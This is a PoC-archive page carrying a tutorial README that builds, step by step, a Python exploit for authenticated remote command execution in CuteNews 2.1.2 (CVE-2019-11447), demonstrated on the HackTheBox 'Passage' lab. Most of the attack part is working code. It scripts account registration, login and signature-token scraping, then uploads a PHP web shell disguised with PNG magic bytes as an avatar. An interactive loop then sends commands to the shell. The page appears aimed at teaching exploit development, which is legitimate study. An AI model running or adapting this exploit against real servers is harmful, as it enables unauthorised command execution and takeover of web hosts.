POC详情: 6583d76c4dadb2e0869c5ff3bbe21b8b9b863763

来源
关联漏洞
标题: 编号重复 (CVE-2019-11447)
描述:CutePHP CuteNews是一套新闻管理系统。该系统具有搜索、文件上传管理、访问控制、备份和恢复等功能。 “废弃”请勿使用此编号。原因:此编号与CNNVD-201110-126编号重复,所有使用CNNVD编号的用户请参考CNNVD-201110-126编号。为防止意外使用,此编号中的所有信息已删除。
介绍
# ExploitDev Journey #8 | CVE-2019-11447 | CuteNews 2.1.2 - Authenticated Remote Command Execution
Original Exploit: https://www.exploit-db.com/exploits/48800 <br>

**Exploit name:** CuteNews 2.1.2 Authenticated RCE <br>
**CVE**: 2019-11447 <br>
**Lab**: Passage - HackTheBox


### Description
This application has a flaw that allows uploading image files if they look like images, it checks the beginning of the file and if image bytes exist then it is confirmed that the file indeed is an image. But in reality you can upload shells and all you have to do is precede your shell code with image bytes also known as magic bytes.

<br>

### How it works
The application allows you to register as a user and login. All you have to do is find a way to upload files an get a shell and you can do it by uploading a picture for your profile. But there are some restrictions on what you can upload. <br>
This exploit is not very different, in fact it's very similar to what you have already learned, if you understood the concept of session management in python-requests then writing this exploit will be a piece of cake for you.

You create random credentials such as username, email, password to sign up and then you use the same information to login and upload your shell.

<br>

### Writing the exploit
You will need the following variables and each will create a unique value each time you run the script:
```py
username = gen_random_charset()
password = gen_random_charset() + "123456"
email = gen_random_charset() + "@persian64.com"
```

All of them use `gen_random_charset()` function but for `password` you need to concatenate the result of the function with numbers because as you know passwords do require digits. Then you have `email` and here you need to concatenate a domain name.


> `SESSION = requests.Session()`

Keep this `SESSION` variable in mind, you will use it in multiple places and you surely know why we are using it... it has been explained before in [CVE-2019-16113](https://github.com/persian64/CVE-2019-16113_).


> `register()`

This function doesn't take any arguments and it doesn't have to, instead of passing arguments it uses global variable defined above it:
```py
def register():
    data = {"action": "register", "regusername": username, "regnickname": username, "regpassword": password, "confirm": password, "regemail": email}
    try:
        req = SESSION.post(url=register_url, data=data, verify=False, timeout=20)
        if 'Dashboard' in req.text:
            print(f"[ REGISTERED ] Username: {username} | Password: {password}")
            print(70 * '-')
        else:
            sys.exit("[ - ] Sign up failed, exiting")
    except Exception as e:
        sys.exit(f"[ ! ] Exception occured: {e}")

    return username, password
```

The `data` variable is as usual a dictionary with key:value pairs but here we also need to provide a nickname and we can do that by using the username as a nickname because it really doesn't matter. Here is the sign up address:
`http://passage.htb/CuteNews/index.php?register`

Here is the BurpSuite request and response for signing up manually: <br>
<img src="https://i.ibb.co/9nvkJy3/passage1.png">

In `register()` function we have an `if` statement to determine if we have signed up successfully, if the word `Dashboard` is found within the source code of our POST request's response then we have successfully registered & logged in.


I know you are familiar with this procedure, it might even seem boring to you but the reason that I am covering this is something else. As you can see in the screenshot, there is no `Dashboard` available in the source code, in fact the application wants to redirect you to another path.

The way Python-requests work is that by default when you send POST request, you will automatically get redirected. In fact the requests library allows you to explicitly specify if you want to allow redirections or not like this:
```py
req = SESSION.post(url=register_url, data=data, verify=False, timeout=20, allow_redirects=True)
```

Let's follow redirection in BurpSuite to see what happens:
<img src="https://i.ibb.co/j6ws7Zc/passage2.png">

As you can see the word exists in response source code.


> `login()`

This is basically the backbone of the exploit, it has everything you need to upload the shell. Here are some variables and one of them is really important to understand:
```py
shell_name = f"{gen_random_charset()}.php"
payload = b'\x89PNG\r\n\x1a\n<?php echo shell_exec($_GET["rce"]); ?>'
creds = register()
login_url = f"{rhost}/CuteNews/index.php"
```

You know what the others do but there is something unique about the `payload` variable, as I had said before your file has to contain image bytes and that's all you need to include before your PHP code. These things: `\x89PNG\r\n\x1a\n` are the beginning of every PNG image, this makes the application think that you are uploading an image but the actual content and the extension of your file makes the whole thing different.

First of all you are allowed to upload files with `.php` extension and there is basically no bypass needed, second: you just need to make your file look like an image but inside of it there lies something else.

You can do the same operation with `exiftool` but I prefer not to because right now the code is just one stand-alone script and it gets the job done without any need for an extra image file.

When we register to the application, we also return two values from the `register()` function and then we store them in `creds` variable inside `login()` function. Later in `login()` function, we use them like this:
```py
data = {"action": "dologin", "username": creds[0], "password": creds[1]}
  try:
      req = SESSION.post(url=login_url, data=data, verify=False, timeout=20)
  except Exception as e:
      sys.exit(f"[ ! ] Exception occured: {e}")
```

Then I have defined two variables and both of them are very similar except for one tiny difference:
```py
# this variable is used to get some necessary data from source code of user's profile page
profile = SESSION.get(f'{rhost}/CuteNews/index.php?mod=main&opt=personal')
# this variable is used when sending POST data to upload shell
profile_url = f'{rhost}/CuteNews/index.php?mod=main&opt=personal'
```

Here is how we can grab `signature_key` & `signature_dsi`:
```py
if 'Dashboard' in req.text:
      print(f"[ + ] Login done using {creds[0]}:{creds[1]}")
      profile_source = BeautifulSoup(profile.text, "html.parser")
      signature_key = profile_source.find('input', {'name': '__signature_key'}).get('value')
      signature_dsi = profile_source.find('input', {'name': '__signature_dsi'}).get('value')

      data = {
          "mod": (None, "main"), "opt": (None, "personal"), "__signature_key": (None, signature_key),
          "__signature_dsi": (None, signature_dsi), "editpassword": (None, ""), "confirmpassword": (None, ""),
          "editnickname": (None, creds[0]), "avatar_file": (shell_name, payload), "more[site]": "", "more[about]": "",
      }
```

If you to understand what data we are sending, you can go to the profile page, choose an image to upload as avatar and upload it (intercept the request with BurpSuite):
```
POST /CuteNews/index.php HTTP/1.1
Host: passage.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------694022708396098909744808832
Content-Length: 1462424
Origin: http://passage.htb
Connection: close
Referer: http://passage.htb/CuteNews/index.php?mod=main&opt=personal
Cookie: CUTENEWS_SESSION=9uhpv4lg2bluefu36dhk992i95
Upgrade-Insecure-Requests: 1

-----------------------------694022708396098909744808832
Content-Disposition: form-data; name="mod"

main
-----------------------------694022708396098909744808832
Content-Disposition: form-data; name="opt"

personal
-----------------------------694022708396098909744808832
Content-Disposition: form-data; name="__signature_key"

e16087e88f07c74481859fb58e233227-kali
-----------------------------694022708396098909744808832
Content-Disposition: form-data; name="__signature_dsi"

4a6368e773eaef013db791959abf919f
-----------------------------694022708396098909744808832
Content-Disposition: form-data; name="editpassword"


-----------------------------694022708396098909744808832
Content-Disposition: form-data; name="confirmpassword"


-----------------------------694022708396098909744808832
Content-Disposition: form-data; name="editnickname"

kali
-----------------------------694022708396098909744808832
Content-Disposition: form-data; name="avatar_file"; filename="galy.jpg"
Content-Type: image/jpeg

image_bytes_data
-----------------------------694022708396098909744808832
Content-Disposition: form-data; name="more[site]"


-----------------------------694022708396098909744808832
Content-Disposition: form-data; name="more[about]"


-----------------------------694022708396098909744808832--
```

Here is how I put everything together to upload the shell:
```py
try:
        request = SESSION.post(url=profile_url, files=data, verify=False, timeout=20)
        if 'User info updated!' in request.text:
            print("[ + ] Shell has been uploaded successfully.")
        else:
            sys.exit("[ - ] Shell upload failed, exiting")
    except Exception as e:
        sys.exit(f"[ ! ] Exception occured: {e}")
```

If the text `User info updated!` is found in the response then we are green. Next we need to find the shell path:
```py
shell_path = re.findall('<img src="(.*?)"', request.text)[0]
```

Then we create an infinite loop to allow the attacker to keep sending commands:
```py
while True:
    try:
        params = {'rce': input("Shell> ")}
        command = SESSION.get(url=shell_path, params=params, verify=False, timeout=10)
        print(command.text.split("\r\n\x1a\n")[1])
    except Exception as e:
        sys.exit(f"[ ! ] Exception occured: {e}")
```

There is one little thing here that I would like to explain and that is the following code:
```py
print(command.text.split("\r\n\x1a\n")[1])
```

The reason that I did this is because our shell contains image bytes, they are not printable but they make our terminal look ugly, for example instead of the current code if you print the responses of your commands like this:
```py
print(command.text)
```
Your terminal will print some garbage alongside your command's output:
<img src="https://i.ibb.co/rM5CNfc/passage3.png">

In order to get rid of that you need to split the results and grab the second part after splitting, it makes your results more beautiful to read.

<br>

### Final thoughts
In this exploit development session a few new things have been covered and here is a summary of everything:
- You learned more about sessions in Python
- You learned about bypassing restrictions using image magic bytes
- You learned about beautifying your command outputs

There weren't many things here, you already know what the code does and I would suggest you to play around with it see if you can make any improvements.

文件快照

[4.0K] /data/pocs/6583d76c4dadb2e0869c5ff3bbe21b8b9b863763 ├── [3.6K] exploit.py └── [ 11K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。